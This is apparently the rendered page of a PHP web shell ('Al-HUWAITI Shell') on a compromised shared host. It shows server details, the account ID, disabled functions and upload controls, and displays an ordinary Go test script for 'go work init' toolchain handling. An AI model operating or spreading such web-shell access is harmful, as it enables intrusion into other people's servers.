Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web1333.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u141265441 ( 141265441)
PHP Version : 8.4.3
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /proc/self/root/opt/golang/1.22.0/src/cmd/go/testdata/script/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/opt/golang/1.22.0/src/cmd/go/testdata/script/work_init_toolchain.txt
# Create basic modules and work space.
# Note that toolchain lines in modules should be completely ignored.
env TESTGO_VERSION=go1.50
mkdir m1_22_0
go mod init -C m1_22_0
go mod edit -C m1_22_0 -go=1.22.0 -toolchain=go1.99.0

# work init writes the current Go version to the go line
go work init
grep '^go 1.50$' go.work
! grep toolchain go.work

# work init with older modules should leave go 1.50 in the go.work.
rm go.work
go work init ./m1_22_0
grep '^go 1.50$' go.work
! grep toolchain go.work

# work init with newer modules should bump go,
# including updating to a newer toolchain as needed.
# Because work init writes the current toolchain as the go version,
# it writes the bumped go version, not the max of the used modules.
env TESTGO_VERSION=go1.21
env TESTGO_VERSION_SWITCH=switch
rm go.work
env GOTOOLCHAIN=local
! go work init ./m1_22_0
stderr '^go: m1_22_0'${/}'go.mod requires go >= 1.22.0 \(running go 1.21; GOTOOLCHAIN=local\)$'
env GOTOOLCHAIN=auto
go work init ./m1_22_0
stderr '^go: m1_22_0'${/}'go.mod requires go >= 1.22.0; switching to go1.22.9$'
cat go.work
grep '^go 1.22.9$' go.work
! grep toolchain go.work

Al-HUWAITI Shell